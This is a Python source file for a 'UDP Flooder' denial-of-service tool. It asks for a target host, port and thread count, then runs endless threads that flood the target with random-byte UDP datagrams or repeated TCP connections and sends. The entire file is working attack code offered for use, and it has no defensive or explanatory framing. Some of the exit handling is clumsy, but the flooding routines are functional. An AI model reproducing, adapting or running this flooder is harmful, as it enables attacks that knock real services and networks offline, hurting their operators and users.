"""
UDP Flooder.
"""
import signal
import time
import socket
import random
import threading
import sys
import os
from os import system, name

print("\033[1;34;40m \n")
os.system("figlet DDoS attack")

test = input()
if test == "n":
    exit(0)
ip = str(input(" Host / IP: "))
port = int(input(" Port: "))
choice = str(input(" UDP (y/n): "))
times = int(input(" Packets per one connection: "))
threads = int(input(" Threads: "))
def run():
    data = random._urandom(1024)
    i = random.choice(("[*]","[!]","[#]"))
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP = SOCK_DGRAM
            addr = (str(ip),int(port))
            for x in range(times):
                s.sendto(data,addr)
            print(i +" UDP sent!")
        except:
            s.close()
            print("[!] Error!")

def run2():
    data = random._urandom(16)
    i = random.choice(("[*]","[!]","[#]"))
    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # TCP = SOCK_STREAM
            s.connect((ip,port))
            s.send(data)
            for x in range(times):
                s.send(data)
            print(i +" TCP sent!")
        except:
            s.close()
            print("[!] Error!")

for y in range(threads):
    if choice == 'y':
        th = threading.Thread(target = run)
        th.start()
    else:
        th = threading.Thread(target = run2)
        th.start()

def new():
    for y in range(threads):
        if choice == 'y':
            th = threading.Thread(target = run)
            th.start()
        else:
            th = threading.Thread(target = run2)
            th.start()

def clear():
    if name == 'nt':
        _ = system('cls')
    else:
        _ = system('clear')

def exit():
    clear()
    os.system("You are leaving the program...")
    sys.exit(130)

def exit_gracefully(signum, frame):
    # restore the original signal handler
    signal.signal(signal.SIGINT, original_sigint)

    try:
        exitc = str(input("Do you want to exit?"))
        if exitc == 'y':

            exit()

    except KeyboardInterrupt:
        print("Exiting...")
        exit()

    # restore the gracefully exit handler
    signal.signal(signal.SIGINT, exit_gracefully)

if __name__ == '__main__':
    # store SIGINT handler
    original_sigint = signal.getsignal(signal.SIGINT)
    signal.signal(signal.SIGINT, exit_gracefully)